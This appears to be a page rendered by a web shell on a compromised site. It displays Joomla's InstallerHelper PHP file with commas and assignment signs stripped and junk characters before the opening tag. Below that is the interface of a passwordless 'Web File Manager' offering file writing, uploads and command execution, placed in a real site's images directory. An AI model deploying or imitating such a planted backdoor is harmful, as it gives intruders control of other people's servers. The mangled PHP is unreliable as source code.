( ◞≼☸≽◟ ._ゝ◞≼☸≽◟)zcsdf吖 <?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Installer helper.
 *
 * @since  1.6
 */
class InstallerHelper
{
    
/**
     * Configure the Linkbar.
     *
     * @param   string  $vName  The name of the active view.
     *
     * @return  void
     */
    
public static function addSubmenu($vName 'install')
    {
        
JHtmlSidebar::addEntry(
            
JText::_('COM_INSTALLER_SUBMENU_INSTALL'),
            
'index.php?option=com_installer',
            
$vName == 'install'
        
);
        
JHtmlSidebar::addEntry(
            
JText::_('COM_INSTALLER_SUBMENU_UPDATE'),
            
'index.php?option=com_installer&view=update',
            
$vName == 'update'
        
);
        
JHtmlSidebar::addEntry(
            
JText::_('COM_INSTALLER_SUBMENU_MANAGE'),
            
'index.php?option=com_installer&view=manage',
            
$vName == 'manage'
        
);
        
JHtmlSidebar::addEntry(
            
JText::_('COM_INSTALLER_SUBMENU_DISCOVER'),
            
'index.php?option=com_installer&view=discover',
            
$vName == 'discover'
        
);
        
JHtmlSidebar::addEntry(
            
JText::_('COM_INSTALLER_SUBMENU_DATABASE'),
            
'index.php?option=com_installer&view=database',
            
$vName == 'database'
        
);
        
JHtmlSidebar::addEntry(
            
JText::_('COM_INSTALLER_SUBMENU_WARNINGS'),
            
'index.php?option=com_installer&view=warnings',
            
$vName == 'warnings'
        
);
        
JHtmlSidebar::addEntry(
            
JText::_('COM_INSTALLER_SUBMENU_LANGUAGES'),
            
'index.php?option=com_installer&view=languages',
            
$vName == 'languages'
        
);
        
JHtmlSidebar::addEntry(
            
JText::_('COM_INSTALLER_SUBMENU_UPDATESITES'),
            
'index.php?option=com_installer&view=updatesites',
            
$vName == 'updatesites'
        
);
    }

    
/**
     * Get a list of filter options for the extension types.
     *
     * @return  array  An array of stdClass objects.
     *
     * @since   3.0
     */
    
public static function getExtensionTypes()
    {
        
$db    JFactory::getDbo();
        
$query $db->getQuery(true)
            ->
select('DISTINCT type')
            ->
from('#__extensions');
        
$db->setQuery($query);
        
$types $db->loadColumn();

        
$options = array();

        foreach (
$types as $type)
        {
            
$options[] = JHtml::_('select.option'$typeJText::_('COM_INSTALLER_TYPE_' strtoupper($type)));
        }

        return 
$options;
    }

    
/**
     * Get a list of filter options for the extension types.
     *
     * @return  array  An array of stdClass objects.
     *
     * @since   3.0
     */
    
public static function getExtensionGroupes()
    {
        
$db JFactory::getDbo();
        
$query $db->getQuery(true)
            ->
select('DISTINCT folder')
            ->
from('#__extensions')
            ->
where('folder != ' $db->quote(''))
            ->
order('folder');
        
$db->setQuery($query);
        
$folders $db->loadColumn();

        
$options = array();

        foreach (
$folders as $folder)
        {
            
$options[] = JHtml::_('select.option'$folder$folder);
        }

        return 
$options;
    }

    
/**
     * Gets a list of the actions that can be performed.
     *
     * @return  JObject
     *
     * @since   1.6
     * @deprecated  3.2  Use JHelperContent::getActions() instead
     */
    
public static function getActions()
    {
        
// Log usage of deprecated function
        
try
        {
            
JLog::add(
                
sprintf('%s() is deprecated. Use JHelperContent::getActions() with new arguments order instead.'__METHOD__),
                
JLog::WARNING,
                
'deprecated'
            
);
        }
        catch (
RuntimeException $exception)
        {
            
// Informational log only
        
}

        
// Get list of actions
        
return JHelperContent::getActions('com_installer');
    }

    
/**
     * Get a list of filter options for the application clients.
     *
     * @return  array  An array of JHtmlOption elements.
     *
     * @since   3.5
     */
    
public static function getClientOptions()
    {
        
// Build the filter options.
        
$options   = array();
        
$options[] = JHtml::_('select.option''0'JText::_('JSITE'));
        
$options[] = JHtml::_('select.option''1'JText::_('JADMINISTRATOR'));

        return 
$options;
    }

    
/**
     * Get a list of filter options for the application statuses.
     *
     * @return  array  An array of JHtmlOption elements.
     *
     * @since   3.5
     */
    
public static function getStateOptions()
    {
        
// Build the filter options.
        
$options   = array();
        
$options[] = JHtml::_('select.option''0'JText::_('JDISABLED'));
        
$options[] = JHtml::_('select.option''1'JText::_('JENABLED'));
        
$options[] = JHtml::_('select.option''2'JText::_('JPROTECTED'));
        
$options[] = JHtml::_('select.option''3'JText::_('JUNPROTECTED'));

        return 
$options;
    }
}
File Manager (Güvensiz Simülasyon)

Web File Manager (Şifresiz)

Viewing File: installer.php

📄 File Browser

Directory:

Current Directory: /home/sarayaglobal/sanistar.pro/images/measurements-sheet/js

✏️ Write/Create File

Filename:


⬆️ Upload File

💻 Command Execution

Command:

📊 Server Info

PHP Version: 8.2.30
Server: Apache
User: sarayaglobal
Directory: /home/sarayaglobal/sanistar.pro/images/measurements-sheet/js